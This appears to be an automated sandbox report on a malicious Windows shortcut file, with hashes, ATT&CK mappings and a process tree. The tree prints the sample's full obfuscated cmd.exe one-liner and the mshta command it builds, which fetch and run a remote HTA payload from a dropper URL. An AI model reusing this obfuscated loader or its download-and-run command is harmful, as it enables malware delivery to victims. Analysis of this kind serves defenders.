5f9f27ae4e9ab1696ceb98b9ff24ab26037e29a69ff94ac05bcec31da0e1b6a0

Analysis

max time kernel
40s
max time network
41s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 19:02

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General

Target
FirmaPeru-XSYFUU.lnk
Size 2KB
Sample260803-xpvwvsec69
SHA256 5f9f27ae4e9ab1696ceb98b9ff24ab26037e29a69ff94ac05bcec31da0e1b6a0
MD5 cd41dd9be2235b9d6112617b2053bd47
SHA1 a073359fda31201db47e63407ab1fd27939e23ff
SHA512 a22488b3d078f3698e4852750cc7eb8ed9d573f2345ff957d72e2eee7b74f0f93ffe0f8d342c70d4157ced71f156a928846cc0f34cfe53fa47aef8941da63385
TLSH
T19841488429ED0098F2FA9E36ECFDB7454D7BB4517D72C69E4C80C28D4825B01EA73B26
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://m-firma.lat/h/estagio1.php?r=261A6CF54682

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3432	cmd.exe
4320	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3432 wrote to memory of 4320	3432	cmd.exe	90
PID 4320 wrote to memory of 1056	4320	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\FirmaPeru-XSYFUU.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3432
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /d /V:on /c "set gzDuO=syslzfaukbjudskscasys&set NuALT=netwbhsnet&set TnHU=cfgitsgjzjqrnpcfg&set vm=dattebikqvrpitchpsdat&set dcuK=olddulmxplxattold&set HE=datsigciucghsvkmadat&set sCdsw=9o8stao&&set Hw=8zrgbk&&set BJ=xifttm&set hMwf=winybznpijvwin&set sjmbh=tmpspodugfrciqtmp&set Kcr=cfgwrhlpvloqlnvnnhzncfg&set bCmD=cfgsrzhyvyxucfg&set qKi=oldchmfuefdhhbjkesxold&set Fi=1pmuj&&set bwL=wshral&&set sUzW=jgta6&set ND=cfgocgapfrheckowoghmcfg&&set dt=h@ttps@://@[email protected]/h@/estagio1.@p@hp?r@=2@61@A6CF54@682&&start /b !Fi:~2,1!!bwL:~1,2!!sUzW:~2,2! !dt:@=!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4320
- - C:\Windows\System32\mshta.exe
    mshta https://m-firma.lat/h/estagio1.php?r=261A6CF54682
    3⤵
    PID:1056

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads